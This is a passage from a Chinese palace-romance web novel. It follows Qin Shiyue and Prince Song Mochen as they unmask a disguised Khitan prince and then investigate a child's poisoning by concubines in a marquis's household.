影九领命离开后,秦时月和宋墨辰继续留在训练场查看,暂时没看出更多,而且,已经有人以优秀的身手赢得了胜利。 宋墨辰以“暗影之主”的名义给他颁发了奖励,并鼓励了其他人一番,这才准备带着秦时月先回去。 毕竟调查的事,可不是一朝一夕就能传信回来的。 两人刚上马车,影九就凑了上来,“主子,陈楚风那边……” “给他一个机会。”秦时月笑笑。 宋墨辰立刻明白了她的心思,看向影九,道:“你去安排,就说陈楚风训练成绩尚佳,往日训练成效卓著,准备让他接一个重要的任务。看看他的反应。记住,派人严密监视。一旦有什么异动,立刻汇报。” …… 另一边,褚良才离开侯府后,并未直接回府,而是去了一处偏僻的茶楼。 他上了二楼雅间,里面已经有一个人在等着他。 此人一身黑衣,低着头,叫人看不清面容,看到褚良才进来,立刻起身拱手,“公子。” 褚良才眉头一拧,坐下后,端起桌上的茶水一饮而尽,“你怎么来了?” 如今京中形势复杂,就连他都要格外小心,没想到,父王那边竟然还敢派人过来。 “回公子,一年一度的四国使者朝贺的日子就要到了,王的意思是,此次由您代表他出面。” “不去。” 褚良才半倚在椅子上,声音有些冷。 这个时候,竟然想将这烫手山芋丢给他? 若是以前也就罢了,偏偏在他刚取得秦时月信任的时候……好吧,她似乎,也没多相信自己。 想到秦时月,他的嘴角不自觉的勾了勾。 真是个有趣的女子,若是能将她带回去…… “公子,王的意思是,您也到了该婚配的年龄,此次朝贺,正好跟靖垣商谈婚事。” 褚良才怔愣一下,捏着茶杯的手不自觉收紧。 他向来知道,作为皇储,他的婚姻大事,从来由不得他自己,可他,不愿做他人的棋子,即便是他的父王也不行。 深吸口气,他放下茶杯,起身走到窗边,“商谈婚事?呵,靖垣如今最适合婚配的,乃是前朝最小的公主,娶了她,并不会对争储起到任何帮助,父王这是心疼其他哥哥,所以才想让我接手,真是好的很!” 褚良才,乃契丹六皇子,真名乃耶律良才。 这些年他表面经商,好不容易浸淫入了靖垣,有了一席属于他的势力。 可契丹王却在这个时候打算把他推出来,真是好的很! 黑衣人低着头,不敢接话。 谁不知道六皇子手段阴狠,向来行事果决,从不将人命放在眼里? 他若多嘴,说不定要落个什么下场。 “除非……”褚良才话锋一转,嘴角勾起一抹别有用意的冷笑,“本皇子求娶之人,是我心仪的人。” “六皇子莫不是有了心仪的姑娘?若真是如此,也不是不可,可以请靖垣的皇帝赐婚。” 褚良才怔愣一下,眼底闪过一丝他自己都没察觉到的苦涩。 秦时月……若是那般容易屈服在皇权之下,那他也没必要找靖垣的老皇帝赐婚了。 “罢了,你去回禀吧,这件事,我会慎重考虑的。” 现如今宋墨辰和秦时月已对他的身份起疑,与其被他们揪出来,倒不如利用这次朝贺的机会表明身份,到时候,便是靖垣的皇帝也要维护他。 想到这,褚良才不再排斥契丹王的计划。 …… 两日后,凤仪宫。 秦时月将最新设计的一套头面交给了绘春,然后主动走到皇后身后,为她梳妆。 她动作轻柔,带着一些手法,皇后觉得甚是舒服,不由自主的闭上了双眼。 待秦时月梳妆完毕,将梳子放回原位,皇后这才嘴角带笑的睁开眼,“你这孩子真是个妙人。” “娘娘谬赞了,您不嫌弃时月愚钝就好。”秦时月笑的讨巧。 皇后笑笑,拉着她坐下说话。 “时月啊,本宫听闻,前几日你在诗会上大放异彩,你还有多少惊喜是本宫不知道的?”皇后慈爱地看着秦时月,眼神里满是喜爱。 秦时月微微红了脸,谦虚道:“娘娘过奖了,时月没别的本事,也就对对对子、诗句还行。” “已经很好了,你莫要妄自菲薄。”皇后轻轻拍了拍她的手。 什么叫也就对对对子、诗句?这孩子医术了得,又有赚钱、立足的本事,蕙质兰心。京中同一批的孩子里,无人能出其右。 先前倒是不觉得,这孩子在诗会上一举成名,她这个做婆婆的,还多了几分担心,生怕有人跟她抢这个好儿媳…… “咳。”皇后收回思绪,话锋一转,“如今杨太师已倒,朝堂局势也有了新的变化,辰儿在朝堂上似乎安插了几个人手,此事,你可知道?” 秦时月没想隐瞒,镇定回道:“娘娘,王爷事务繁忙,朝堂上的事,并未与我详说过,时月只是略知一二。可是有什么不妥吗?” “如今朝堂初定,本宫是担心过犹不及,再出什么乱子。你回去告诉辰儿,那些人,一定要仔细筛查,切莫给他们钻了空子。”皇后微微皱眉,摇了摇头。 “是娘娘,时月定会转告王爷。”秦时月应道。 “对了,还有一事。”皇后松开手,神色严肃的端起茶杯喝了一口润喉,然后道:“一年一度的四国使者朝贺就要到了,此次朝贺关系重大,各国使者汇聚京城,本宫担心,届时会有人借机生事,宫内有本宫,但宫外……” “娘娘放心,时月和王爷会盯紧的。” “你们办事,本宫放心,只是听陛下说,契丹递上奏折,有联姻的心思。这事虽然和你们没什么关系,但你也知道宫内的情况。皇子中,只有辰儿可当大用,恐怕这联姻的差事,会落到辰儿身上。” 皇后对此倒是不怎么担心,毕竟,两国联姻的事时有发生。 她就是提醒一下孩子们,免得到时候皇帝将这差事交给宋墨辰的时候,他不知该做什么。 第220章 一切尽在掌握 秦时月点点头,记在了心里。 两国联姻,无非就是帮着相看适婚女子,若宫中的不合眼缘,那就是从京中贵女的人选中挑家世好、人品贵重的。 到时候她帮宋墨辰留意着,也不是什么难事。 “这个点,差不多该下朝了,本宫已经让绘春去请辰儿了,今儿你们就别走了,留在这里陪本宫用个午膳吧。” “是。”秦时月笑笑,满口应下。 皇后娘娘待她如亲子女,她能陪着皇后娘娘用膳,是她的福气。 吃完午饭,宋墨辰以还有要事处理为借口,带着秦时月出了宫。 路上,马车里,秦时月将皇后的话原原本本告诉了他。 宋墨辰听后,面色不变,眼底却多了几分严肃,“褚良才的身份尚未查清,如今又赶上四国使者朝贺,看来,得做些防备了。” “我也是这么想的,尤其褚良才那边,一定要派人盯紧了,我总觉得心里不安。”秦时月皱着眉头,道。 她已经很久没有这种感觉了,总觉得,有什么事要发生…… 而且,褚良才的身份一定有猫腻,否则,一个普通商贾,怎么可能查了许久,却还是查不出任何东西? “宋墨辰,不如我们主动出击,看看能不能从褚良才身上找到突破口。”秦时月眼神微闪,里边多了几分深意。 她不喜欢被动,主动出击,往往能掌握更多主动权。 “你是说……” “刺杀!” 秦时月嘴角微勾,眼神发狠。 她从不是什么心慈手软之辈,如今有人威胁到了他们,他们必须尽快排除威胁! “月月这样,我好怕……”宋墨辰故作惊恐,直接躲进了秦时月的怀里。 秦时月被他逗笑,红着脸推了推他,见推不开,羞涩的移开了视线。 “好啦,别闹,说正事呢。”秦时月嗔怪道,脸上虽有薄怒,可眼中的笑意却出卖了她此刻的心情。 宋墨辰亲亲她的脖颈,然后才直起身来,恢复了严肃的神情,“刺杀虽然能快速解决问题,但也存在风险。褚良才既然能隐藏身份至今,身边怕是有人暗中护着,贸然行动,万一失手,打草惊蛇不说,还可能暴露我们的目的。” 秦时月沉思片刻,觉得他说的有理,思考一下,道:“那暂时就不管他了,比起他,四国朝贺的事更重要。” 褚良才那边有人盯着,想必闹不出什么风浪。 等各国使者离开,再继续调查他的事也不迟。 就在两人商议下一步计划时,车架外突然响起了影九的声音,“主子,陈楚风那边有动静了。” “哦?快说。”秦时月立刻掀开车帘,急切的问道。 影九压低声音,快速说道:“主子,陈楚风果然不是南境边境的人,而且,他接到要执行重要任务的消息后,便以要执行任务为由,离开了训练基地。但他没有往目标地赶,反而往城西方向去了。” “我们的人一路跟着,发现他进了一家看似普通的赌坊,赌坊人员密集,他在里面和一个神秘人见了面。属下怕暴露,所以没走近,没能听清他们说了什么。” 宋墨辰与秦时月对视一眼,两人从对方眼中都看到了复杂的神色。 “看来,这个陈楚风果然有问题。”宋墨辰沉声道。 秦时月微微点头,道:“可派人盯紧了那个神秘人?” 鬼鬼祟祟和陈楚风接头,她不信那个神秘人身份清白。 “回主子,已经派人盯着了,有消息他们会第一时间联系属下。” 秦时月心思缜密,眼珠子一转,道:“好。另外,派人查清楚他的身份背景。切记,不要轻举妄动,以免打草惊蛇。另外,查查那个赌坊,看是不是他们的固定联络点。” 影九领命而去。 秦时月靠在马车内壁,陷入沉思。 四国朝贺在即,褚良才身份不明,现在又冒出个陈楚风。这些事,难不成有什么关联? 宋墨辰握住她的手,安慰道:“你别太忧心,事情虽然棘手,但我们也不是毫无应对之策。如今先把陈楚风这条线捋清楚,或许能从中找到突破口。” 褚良才那边久查都查不到有价值的信息,或许,他们该换个方向。 秦时月嗯了一声,抬头看着他,“你说得对。四国朝贺,各国使者汇聚,本就是个敏感时期,若有人趁机捣乱,后果不堪设想。我们必须在这之前,把能排除的隐患都排除掉。” “不错。”宋墨辰点点头,“或者,我们可以来一招将计就计。陈楚风目前还不知道自己已经暴露,那就让他继续执行那个所谓的重要任务,比如,刺杀?” 秦时月眼神一闪,“你是说,让他去刺杀褚良才?” 宋墨辰微微一笑,点了一下头。 他的月月当真聪慧,他只是随口一提,她立刻便能猜到他的用意。 “好,这件事你来安排,如何需要我协助,我可以将他带到提前埋伏之地。”秦时月弯着眉眼,笑道。 日子太无聊,算计人的事,还挺有意思的。 …… 几日后,陈楚风接到了“暗影之主”安排的重要的刺杀任务时才发现,他的刺杀对象,竟然是褚良才。 他表面上不动声色,心中却已经惊涛骇浪,原以为自己得到了一个可以立下大功,可以以此潜伏的更深的机会,谁料被刺杀的对象竟然是…… 最主要的是,他们在执行任务前,不能单独外出,这就意味着,他没办法把这个消息传出去。 另一边,按照计划,秦时月以商谈合作生意为由,邀请褚良才到了一处偏僻的别院。 褚良才虽略有防备,但对方是秦时月,他还是愿意放下防备,给予信任。 就在他们踏入别院的那一刻,一道黑影如鬼魅般出现,他的脸上带着面罩,手持利剑,朝着两人直逼而来。 褚良才心中一惊,短暂的怔愣后,立刻反应过来 看来,这是一场针对他的刺杀。 他侧目,眼神复杂的看了眼秦时月,一眼万年…… 时月……你就,这么巴不得我死? 第221章 自爆身份 褚良才来不及多想,刺客的剑已至眼前,他侧身刚要闪开,谁料那一剑,竟然朝着秦时月而去。 秦时月在心里冷哼一声,迅速抽出藏在袖中的软鞭,凭借矫健的身手,堪堪躲过。 这陈楚风,果然有问题! 放着眼前的“猎物”不杀,反而针对她这个手无缚鸡之力的闺中小姐,呵,其心思,昭然若揭! 出手时,陈楚风的心里乱成了一锅粥,甚至有些不知该如何是好。 他怎么也没想到,刺杀对象会是褚良才。 若是真杀了他,自己将会成为整个契丹的叛徒,这辈子都要活在契丹的追杀下;可若不杀,任务失败,他在暗卫组织里,同样没有好下场…… 但关键时候,他想到了一个最好的解决办法,那就是,杀掉眼前的这个女人。 只要她一死,便没了人证,他杀不杀褚良才,也就没人知道了! 想到这,他才瞅准时机,转而朝着秦时月扑去。 谁知道秦时月并不是那些普通小姐,她竟然躲过了他的攻击! “你竟然会武功!?”陈楚风咬紧牙关,眉眼间多了几分狠戾。 如此,这个女人是更不可能留下来了! 褚良才听到陈楚风的声音顿了一下,眉头一拧,再度看向秦时月。 是了,他也没想到秦时月会武功,刚才,他眼见那剑朝秦时月而去,他几乎是下意识的身手要帮她挡,谁料,关键时候,她竟然躲开了。 而现在,他猜到了刺杀者的身份,一个念头,迅速占据脑袋。 这是秦时月和宋墨辰做的局,为的,就是逼他和陈楚风一把! 呵,真是个让人头疼的小狐狸! “你能躲过第一剑,我倒要看看,你能不能躲过第二剑!”陈楚风话音才落,举起剑,再次朝秦时月冲去。 秦时月面上惊慌,实则镇定,“褚公子快走!去搬救兵!” 喊完,她故作慌乱的甩鞭相迎,看似动作迟钝混乱,实则陈楚风劈来的每一剑,都被她轻松化解。 陈楚风心里越来越着急,出手看上去越来越凌厉,但章法已经被乱了。 看到这一幕,褚良才在心里暗骂一声:“蠢货!”,然后冲了过来。 既然时月想让他死,那他,总归要满足一下她才行。 就在他刚要以一个娇弱书生的姿态,为救秦时月重伤不治的时候,门外突然传来一阵马蹄声。 下一秒,只听宋墨辰一声怒吼,“放开她!” 随后,他带着一众府兵冲进来,包围了这里。 褚良才虽然知道这是个陷阱,但他没想到宋墨辰会来的这样快,看来这次,他不想暴露身份也不行了。 “把他们带回去,细细审问!”宋墨辰沉着脸命令,说完,立刻冲到了秦时月身边,一把将她抱在怀里,“月月,你没事吧?” 该死!原本的计划是,秦时月将褚良才送到,然后便找借口离开。 等她离开,陈楚风才会动手。 可陈楚风是契丹人,发现被刺杀的对象是褚良才,竟然提前动手。 幸好他们就埋伏在不远处,若是褚良才心里有鬼,和陈楚风一起对付秦时月……后果不堪设想。 影卫们迅速上前,刚要将褚良才和陈楚风押上马车,褚良才却仰天大笑几声,然后突然说道。 “靖垣王朝的待客之道,还真是让本皇子小觑了。” 众人皆是一愣,宋墨辰眉头紧皱,眼神犀利,“你说什么?皇子?你到底是谁!?” 他和秦时月久久调查不出他的身份,想过他身份复杂,但没想到,他竟然是皇子! 褚良才微微仰头,眼中满是不屑,“本皇子乃是契丹六皇子耶律良才。” 秦时月皱皱眉。 没想到褚良才的真实身份竟然如此惊人,竟是契丹皇子。 那么他这些年浸淫在靖垣王朝,到底是为了什么?徐徐图之,打算与契丹里应外合? 她看着耶律良才,声音冰冷,“契丹皇子又如何?在我靖垣王朝的地盘,你也不过是介普通人。” 耶律良才看着秦时月,眼中闪过一丝复杂的情绪,然后放轻了语调,“秦时月,本皇子一直以为你只是个普通的闺阁贵女,没想到你不仅聪慧,身手还如此了得,倒是小瞧你了。” 他嘴角带笑,越说,眼底的深意越浓。 宋墨辰眉头一拧,一把将秦时月护在身后,“耶律良才,你潜伏我朝,意图不轨,今日便是你的死期!” 今日这里都是他们的人,他弄死耶律良才和陈楚风,然后再放些风声出去,便不会有人知道此事。 可耶律良才面色不变,不慌不忙的道:“辰王,你太天真了,如今四国使者朝贺在即,你以为,我为何敢在你们面前自爆身份?” “你什么意思?” “该不会,你就是此次朝贺的契丹使臣?”秦时月心头一跳,一股不好的预感让她有些紧张。 “时月真是聪慧过人,本皇子是越来越欣赏你了。”耶律良才斜勾着唇,明明一副谦谦君子的打扮,偏偏一脸邪魅狂狷。 “辰王,你若对本皇子动手,我契丹三十万大军,必将踏平你靖垣边境!” 看着他略带侵犯的眼神,宋墨辰攥紧拳头,冷哼一声,“你少拿契丹来威胁本王!你在靖垣隐姓埋名,所作所为定见不得人,本王不处置你,你以为,陛下能放过你吗!?” “宋墨辰……” 秦时月紧抓住宋墨辰的手腕,朝他微微摇头,示意他不要冲动。 陛下重视四国朝贺的事,若此时生出事端,怕是对他们不利,毕竟,他们到现在都还没掌握到褚良才,不,是耶律良才在靖垣犯法的证据。 耶律良才见此,脸上的得意之色更浓,“辰王,识趣点,大家都好过。” 宋墨辰深吸一口气,强压下心头的怒火。 他明白秦时月的顾虑,如今,确实不是冲动行事的时候。 见他冷静下来,秦时月朝影九挥了挥手,“把陈楚风带下去关起来,不许任何人探视!” 他们现在是拿耶律良才没办法,但不代表,后续也没有。 第222章 出事 只要从陈楚风嘴里撬出点东西,那耶律良才…… “不好!他吞了毒药!”影九正要拿人,谁料陈楚风后槽牙一咬,嘴角当即溢出一道暗黑色的鲜血。 “王妃……” 秦时月急忙上前查看,结果,摇了摇头,“死了。” 说着,她扭头看了眼面色无波的耶律良才,心里有些烦躁。 见血封喉,还真是好手段。 耶律良才依旧淡定,嘴角勾着一抹漫不经心的浅笑,“辰王,我看,这里也没我什么事了,既然这样,那我就先回去了。” 秦时月和宋墨辰攥紧拳头,眼神冰冷。 他们确实拿他没有一点办法,现在唯一能够确定探子身份的,已经死了,现在,只能放他离开。 耶律良才转身离开,走到门口的时候顿了一下,侧头朝着身后的秦时月道:“月月,咱们很快会再见,本皇子很期待下次见到你的场景。” “竖子尔敢!”宋墨辰墨眸一沉,里边隐隐闪过一丝杀气。 他可以容忍耶律良才放肆,但他不能容忍他调戏秦时月! 秦时月的心里也很不舒服,不知为何,她总觉得,耶律良才似乎在计划着什么,而且他算计的人,是她…… 耶律良才哈哈一笑,抬腿就走。 直到他的背影消失,秦时月才拉住宋墨辰的大手,“别搭理他,他纯属有病。” 宋墨辰还没说话,突然有侍卫来报,“王爷、王妃,驿站传来消息,朝贺使团已经出发,不日便可抵达京城。” 两人对视一眼,都从对方的眼里看到了凝重。 看来,他们得在这有限的时间内,一边应对朝贺事宜,一边盯紧耶律良才,免得他在这关键时候搞出什么幺蛾子。 “此事还需从长计议,咱们先回府吧。”宋墨辰说着,拉着秦时月离开,上了马车。 路上,秦时月认真的看着宋墨辰,道:“宋墨辰,时间紧迫,我觉得可以双管齐下。一方面派人监视他,另一方面,从他的生意入手,调查他这些年在靖垣的产业、踪迹,说不定能找到有用的信息。” 宋墨辰一脸深思的点了点头,“好,就按你说的办。影卫们负责暗处监视,我的亲信明处调查。” 两人商量好,宋墨辰便将她送了回去。 才进长乐侯府大门,小荷便一脸焦急的冲了过来,“小姐,您快去芳萍园看看吧,小少爷今日不知怎么的,一直昏迷不醒,还上吐下泻个不停,现在,现在嘴唇都紫了……” “没请太医来看看吗?”秦时月眉头微皱,抬脚往芳萍园走去。 虽然她和那孩子不亲,但稚子无辜,更何况他和自己还有血缘关系。 她人还没进芳萍园,屋内就传出了一阵撕心裂肺的哭声,是芳姨娘的声音。 秦时月加快脚步,推门而入,只见芳姨娘正抱着小少爷,哭的上气不接下气的。 床边站着太医,正在收拾药箱。 “太医,我弟弟究竟如何了?”秦时月没急着上前,而是福福身子,问道。 太医转过身,对着秦时月行了一礼,无奈地摇了摇头,“回县主,小少爷这是中了极为罕见的毒,此毒微臣从未见过,一时之间实在是束手无策……” 中毒?好端端的,怎么会突然中毒? 她眼神锐利,快速扫过屋内众人。 这事发生在侯府,势必不是外头的人做的。 而且,后宅争宠的手段层出不穷,恐怕,少不得是她那个好父亲新收入房的几个姨娘做的。 芳姨娘哭得更是伤心欲绝,“大小姐,您医术高超,求求您救救渊儿吧,他,他也是您血脉相连的的弟弟啊。” “夫人莫慌,我先看看。小荷,命人将其他几位姨娘的院子看管起来,有任何异动,立刻来报!”秦时月一边有条不紊地安排着,一边蹲下身子,仔细查看秦兴渊的症状。 只见小人儿面色苍白如纸,嘴唇乌紫,气息微弱,一副随时会咽气的样子。 秦时月没有多言,抽出银针在他的腹部扎了两下,很快,小人儿再次呕吐不止,这次吐出来的,全是浠水。 “大小姐……” 芳姨娘一脸心疼,焦急开口。 “放心,渊儿已经将吃进去的食物吐了个干净。”秦时月收回银针,返回到桌面开了一个药方。 她刚才的行为是在给秦兴渊催吐,看看是不是还有未消化的食物。 但通过这些浠水,她不能判断秦兴渊所中何毒,收起笔,她转头看向芳姨娘,“让你的人去拿药,另外,我需要知道渊儿今日都吃了什么,接触过什么人,你仔细想想。” 芳姨娘擦了擦眼泪,努力回忆,“今日渊儿和平常一样,先在院子里玩耍了一阵,吃了一些牛乳,那牛乳是厨房送来的,没什么特殊……对了,午后二姨娘来过一趟,但她是来找我的,并没有见过渊儿……” 秦时月闻言,眼神一沉,朝小荷命令道:“立刻去厨房将今日的牛乳全部封存,任何人不许动,再把挤牛乳和保存牛乳的下人带来,我要问话。还有,二姨娘的院子着重看管,主仆分别看管,不许踏出院子半步。” 小荷领命匆匆而去。 秦时月又转头看向太医,“劳烦太医在此稍作停留,等会儿还需您帮忙查看一下这牛乳是否有问题。” 太医点头应下,站到了一旁。 说实话,他见过不少这后院争宠的事,但像秦时月这般,一个未出阁的女子,镇定自若处理事情,自有一股当家主母姿态的,还是头一个。 不多时,小荷带着牛乳和下人回来了。 那两个下人一脸惶恐,负责保存牛乳的,急不可耐的喊道:“大小姐饶命啊,小的一直本本分分,保存的牛乳绝不可能有问题啊!” 另一个下人更是被吓得“噗通”一声跪下,慌忙道:“大小姐,小人挤的牛乳绝没有问题啊!” 就在秦时月暗自打量这俩人时,一个侍卫来报,说是发现二姨娘形迹可疑,此时已经将人控制住。 第223章 中毒,嫌疑人是二姨娘 “哦?查出什么了?”秦时月眉头微挑,眼神凌厉。 “在她院子里并未发现可疑物品,只是,有个香囊被二姨娘贴身戴着,死活不肯交出来。” 秦时月冷哼一声,“把人带过来,把那个香囊拿来,本小姐倒要看看,里面究竟藏着什么猫腻!” 侍卫领命而去。 这边,太医仔细查验了牛乳,摇头道:“县主,牛乳中并未检测出毒素。” 秦时月面色不变,但眼神越发深沉。 既然牛乳无毒,那秦兴渊所中之毒就另有源头,最可疑的,便是二姨娘那边。 不多时,侍卫将二姨娘押了过来,他手里是刚缴获的香囊。 二姨娘一脸怨愤,眼底带着几分心虚,面上却强装镇定,“大小姐,您无故扣押我,就不怕侯爷追究吗?” 秦时月并未理会她的质问,伸手接过侍卫递过来的香囊,轻轻嗅了嗅,又拆开仔细翻看,发现香囊里竟然有个夹层,夹层里,似乎藏着东西。 二姨娘见状,立刻挣扎起来,“大小姐!妾身自知身份低贱,但到底伺候了侯爷一趟,您何故这般羞辱妾身!?” 不行,不能让她看到里边的东西,否则,她死定了! 秦时月斜勾着唇,懒得理会她,直接撕开夹层,从中倒出了一些黑色粉末。 “太医,烦请看看这是什么东西。”她淡然的看着二姨娘,朝着身边的太医道。 二姨娘见状,脸色顿时惨白一片,嘴唇嗫嚅着说不出话来。 太医连忙上前取了些粉末放在鼻尖轻嗅,又用指尖蘸了一星半点,放在舌头上尝了尝,不过刹那,脸色大变。 “这,这莫不是传闻中的蚀心散!?” “蚀心散?”秦时月坐下,似笑非笑的看着二姨娘。 太医叹口气,缓缓说道:“回大小姐,此毒无色无味,掺入食物中很难察觉。虽不是什么剧毒,但若是长期服用,会逐渐侵蚀心肺,致人死亡,且人死后,很难查出来。” 芳姨娘眼神如刀,放下孩子冲到二姨娘面前,一巴掌扇在她的脸上,“你这个小贱人,谁给你的狗胆敢害我的渊儿!?” 贱人,要不是她生产完后容貌身材走样,入不得侯爷的眼,又怎么会让这些小贱人爬上侯爷的床!? 她们不仅不知收起尾巴做人,现在竟然还敢害到她儿子头上,简直找死! 二姨娘扑通一声跪下,哭喊道:“夫人,大小姐,我也是被逼无奈啊!是五姨娘,她承诺只要我帮她除去渊儿,就会帮我在老爷面前多多美言,让老爷多来我房里。我,我也是一时鬼迷心窍才……” 整个侯府谁人不知,如今的五姨娘宠冠后宅,除了夫人,五姨娘的话,无人敢驳。 秦时月怒极反笑,“放肆!为了这点争宠的事,你就敢对一个孩子下此毒手,实在可恶!来人,将五姨娘带过来,本小姐要好好审审,若事实清楚,全部发卖出府!” 侍卫再次领命而去。 不一会儿,五姨娘被押了进来,她一进门就看到二姨娘跪在地上痛哭不停,眼底闪过一丝慌乱,“不知夫人、大小姐唤我来所谓何事。” 这个蠢货,该不是把她教唆的事交代出来了吧…… 秦时月眼神示意,侍卫立刻将那包蚀心散扔到了她脚下,“五姨娘,这东西你可认识?二姨娘已经招了,你可有什么要狡辩的?” 五姨娘脸色骤变,却仍嘴硬道:“大小姐,妾身,妾身不知这是何物。” 秦时月冷笑一声,“到现在还不承认?好,既然如此,我这就请父亲过来,让他看看他新纳的好姨娘,是如何残害他的子嗣的!” 五姨娘一听要请侯爷过来,顿时慌了神,但是想到什么,眼珠子一转,又镇定下来,“妾身没做过的事,妾身如何承认?既然大小姐不信妾身,那便请侯爷来做主吧。” 这话倒是让秦时月愣了一下。 侯府子嗣不多,尤其嫡长子已废,她那个好父亲能指望上的,也就秦明远和秦兴渊两个儿子,可看五姨娘如今的样子,并不害怕。 难不成这里边,还有她不知道的事? 想到什么,秦时月眉头一挑,嘴角勾起一抹似有若无的笑意,“既如此,小荷,去请父亲过来。” 怕不是五姨娘有孕在身,所以才动了想要除掉秦兴渊的心思,至于她后边的打算……她没心思猜。 小荷领命而去,很快,长乐侯便匆匆赶来。 他一脸怒容,进门就看到二姨娘跪在地上哭哭啼啼,五姨娘虽然也跪在地上,面色有些发白,但还算镇定,而秦时月则一脸淡然地坐在一旁,芳姨娘双眼红肿的抱着昏迷不醒的秦兴渊。 “这是怎么回事!?”长乐侯皱眉问道,抬脚向秦兴渊走去。 这孩子这是怎么了? 秦时月没动身,淡漠的将事情的来龙去脉说了一遍,又指了指地上的蚀心散,“父亲,太医已经查验过,这是慢性毒药,二姨娘交代,是五姨娘指使她给渊儿下的。” 长乐侯脸色一沉,阴沉得能滴出水来。 他看向五姨娘,厉声问道:“可有此事?” 整个侯府谁人不知,秦兴渊是他老来得子,不仅宠爱有加,更是寄予厚望。 而且,这些个姨娘肚子不争气,进府时间最久的有一年,最短的有三个月,可她们的肚皮到现在都没动静,所以他格外疼宠秦兴渊。 如今秦兴渊竟然被人下毒,就算是最受宠的五姨娘,也容不得。 毕竟,子嗣艰难,但娇妻美妾一抓一大把。 五姨娘扑通一声跪下,眼中含泪,楚楚可怜地说道:“侯爷,妾身冤枉啊!二姨娘不知为何要攀咬妾身,妾身真的什么都没做过……” 长乐侯眉头紧皱,看向二姨娘,“你说,到底是怎么回事?若是有所隐瞒,本侯定不轻饶!” 二姨娘吓得浑身一颤,慌忙说道:“侯爷,妾身不敢说谎啊!真的是五姨娘承诺妾身,只要除去……” 五姨娘突然轻喘一声,噗通一声歪倒在地。 第224章 怀孕,躲过一劫 众人怔愣一下,长乐侯率先反应过来,“这是怎么了?太医,快给她看看。” 秦时月看着装模作样的五姨娘,心中冷笑:呵,这是算准了时候倒的,就是不知,她这个好父亲在得知她怀有身孕后,还能不能一碗水端平。 太医赶紧上前查看,把过脉,眼底闪过一丝了然,“恭喜侯爷,五姨娘有喜了,据脉象看,五姨娘的身孕已有两月。” 两个月? 长乐侯眼前一亮。 三个月前他迎五姨娘入府,浓情蜜月了一个多月,想来,就是那时候的事。 太好了! 原想着她们的肚皮不争气,留在后院养着就是,现在看来,这老五是个争气的。 “侯爷……”五姨娘悠悠转醒,眉眼间多了几分惊喜和委屈,“妾身,妾身是真的有孕了吗?” “来人,还不将五姨娘扶起来!”长乐侯心疼不已,“菱儿也是,这样大的事,竟然都没注意到,若是伤到孩子可怎么好?” 二姨娘看到这一幕,就是再傻,也察觉到了不对劲。 她满眼不敢置信的看着五姨娘被人扶起坐到一旁,整个人如坠冰窖。 芳姨娘也反应过来。 这个贱人计算她的渊儿,想必就是为她肚子里的孽种腾地方。 该死的贱人!她绝不会让她平安生下孩子! 秦时月将所有人的表情收入眼底,低头笑了笑,转头看向长乐侯,“父亲,渊儿的事还没理出个所以然,既然二姨娘、五姨娘的证词有出入,不如,将人交到京兆府。” 长乐侯的脸色有些难看,一方面是心疼自己中毒昏迷的幼子,另一方面是他宠爱的,刚怀了身孕的五姨娘,这让他有些骑虎难下。 他还没开口,五姨娘便哭哭啼啼,梨花带雨的扑进了他的怀里,“侯爷,此事真的跟妾身无关呀,还请侯爷为妾身做主啊。” 长乐侯立刻点了点头。 不管如何,现在老五既然怀了孕,就不能和这件事扯上关系! “你放心,本侯不会让你……”他拍拍五姨娘的手,话没说完,一个丫鬟慌慌张张地跑了进来。 “侯爷夫人,不好了!五姨娘院子里的一个婆子突然上吊自尽了!” 众人皆是一愣,秦时月眉头微挑,眼底笑意更浓。 呵,这是自知躲不过去了,所以拉出来了个人顶罪。 听到丫鬟的汇报,长乐侯拧眉看了五姨娘一眼,然后叹了口气。 罢了,一个婆子,死就死了,这样一来,至少老五能保下了。 芳姨娘则是脸色铁青,看着五姨娘的眼神像是恨不得掐死她。 后院里的把戏她不是不清楚,但如今,她再追究下去,只怕会引起侯爷的反感, 想到这,她攥紧拳头,努力压下心底的恨意,双眼泛红的开口,“自尽了?看来,一切都是那个婆子做的,我险些冤枉了五妹妹。” 呵,她们来日方长,目前,还是先让侯爷放下警惕心才是! 五姨娘挑挑眉,不动声色的看了芳姨娘一眼。 原以为这个家伙是个蠢货,现在看来,她还是有点头脑的,就是不知道,她是真相信了这件事,还是故意迷惑大家的。 想到这,她摸了摸小腹,暗下决心:接下来,她一定要多加防备,千万不能着了夫人的道! “既然事情已经水落石出,那我就先回去了。” 戏看够了,秦时月起身福了福身子,转身,冷笑着离开。 这后院里的把戏,不过就是这点,不论发生何事,只要与她没关系,那她就没必要蹚这趟浑水。 揽月园。 小荷为秦时月擦洗着后背,不解的问道:“小姐,毒害小少爷的恐怕就是五姨娘,您怎么不追究了呢?” 秦时月鞠了一捧水,笑道:“难得糊涂。你没看到父亲和芳姨娘都默认了此事吗?我一个待嫁闺中的女子,何苦去自讨没趣?” 又不是她的孩子,命保住了,其他的,与她何干? 小荷似懂非懂的点点头,“可是小姐,万一五姨娘之后再对小少爷不利怎么办?” 秦时月轻笑一声,“你以为芳姨娘是什么省油的灯吗?经过这次的事,芳姨娘必定会对她严加防范,五姨娘肚子里的孩子能不能平安降生,还是个未知数呢。” 小荷一脸恐惧,“不会吧?您是说……” “后宅争宠,向来如此,为了上位,什么手段都使得出来。只是苦了渊儿这么小就要遭此劫难。”秦时月捻起一瓣花瓣,眼神淡漠。 她不是圣人,不会轻易为了某个人就施好心,尤其对五姨娘那种,连孩子都不放过的人。 “那小少爷什么时候能醒过来呢?” “我看过,渊儿中毒不深,而且吐出了大半牛乳,只要好好调养,应该很快就能醒。放心吧,芳姨娘必定会悉心照料,不会有事的。”秦时月笑笑。 她家这个小丫头,还真是和前世一样,心思单纯,对待任何人都真心相付。 若是没有她看顾着,这不知道这小丫头要吃多少苦。 与此同时,长乐侯的书房内。 长乐侯坐在书桌前,脸色阴沉得可怕。 五姨娘小心翼翼地站在一旁,低着头不敢说话。 “说吧,到底是怎么回事?”长乐侯睛一眯,终于开口,只是声音冰冷,让人不寒而栗。 五姨娘身子一颤,噗通一声跪倒在地,“侯爷,妾身真的什么都没做,二姨娘她,她是在污蔑妾身啊。” 长乐侯冷哼一声,“你真当本侯不清楚这后宅的手段?小五,本侯不追究,是因为你肚子里的孩子,这不代表你可以隐瞒本侯!” “侯爷饶命,妾身真的是冤枉的啊。说不定,是二姨娘看不得妾身受宠,所以才想将这件事嫁祸给妾身……” 